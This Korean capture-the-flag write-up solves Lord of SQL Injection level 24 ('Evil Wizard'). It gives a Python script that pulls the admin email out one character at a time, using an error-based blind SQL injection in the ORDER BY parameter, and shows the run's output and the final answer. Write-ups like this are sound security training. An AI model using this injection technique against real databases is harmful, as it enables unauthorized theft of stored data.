WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 24 - Evil Wizard

벌써 24번째 몬스터인 아주 사악한 마법사를 마주쳤다. 점점 난이도가 올라만 가는 느낌이 드는데 너무 두려워말고 코드를 먼저 보도록 해보자

<출처 : 나무위키 : https://namu.wiki/w/%EB%B3%BC%EB%93%9C%EB%AA%A8%ED%8A%B8 >


코드

무엇보다 주석은 두려워할 필요가 있다. 이번 문제도 order by뒤에 전달할 파라미터 order를 설정할 수는 있지만, hell fire때와 같지 않을 거라고 이야기한다.

 

또한 저번 시간 time base sql injection을 사용해서 hell fire를 파훼한 사람에게는 아쉽지만 sleep과 benchmark는 금지되었다.

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?order=1&email=aasup3r_secure_email@emai1.com
from requests import get
import string

url = "### evil wizrd의 URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''
letters = string.ascii_letters + string.digits + string.punctuation


print("### find for pw length ###")
while(True) :
    param = "?order=(select exp(710) where "+str(length)+"=(select length(email) where id='admin'))"
    new_url = url+param
    rec = get(new_url,cookies=cookie)
    if(rec.text.find("rubiya805")<0) :
        print("find pw length : "+str(length))
        break
    else :
        print("PLease... : "+str(length))
        length+=1


print("### find for pw ###") 
for i in range(1,length+1) :
    temp_array = ''
    for a in letters :
        param = "?order=(select exp(710) where '"+str(ord(a))+"'=ASCII((select substr(email,"+str(i)+",1) where id='admin')))"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("rubiya805")<0) :
            password += a
            print("total password",password)
            break
        

print("here's your passwrod : "+password)

어.... 필자는 기회가 되면 hell fire의 풀이법을 time based SQL Injection으로 고치고 오겠다.

* 풀이는 완전히 동일하다. *
* 역시 주석은 무서워할 필요가 없다. *

 

출력은 다음과 같다.

### find for pw length ###
PLease... : 0
PLease... : 1
PLease... : 2

...

PLease... : 29
find pw length : 30
### find for pw ###
total password a
total password aa
total password aas

...

total password aasup3r_secure_email@emai1.com
here's your passwrod : aasup3r_secure_email@emai1.com

에이씨 이럴줄 알았으면 저번에 Time Based SQL Injection으로 풀어볼걸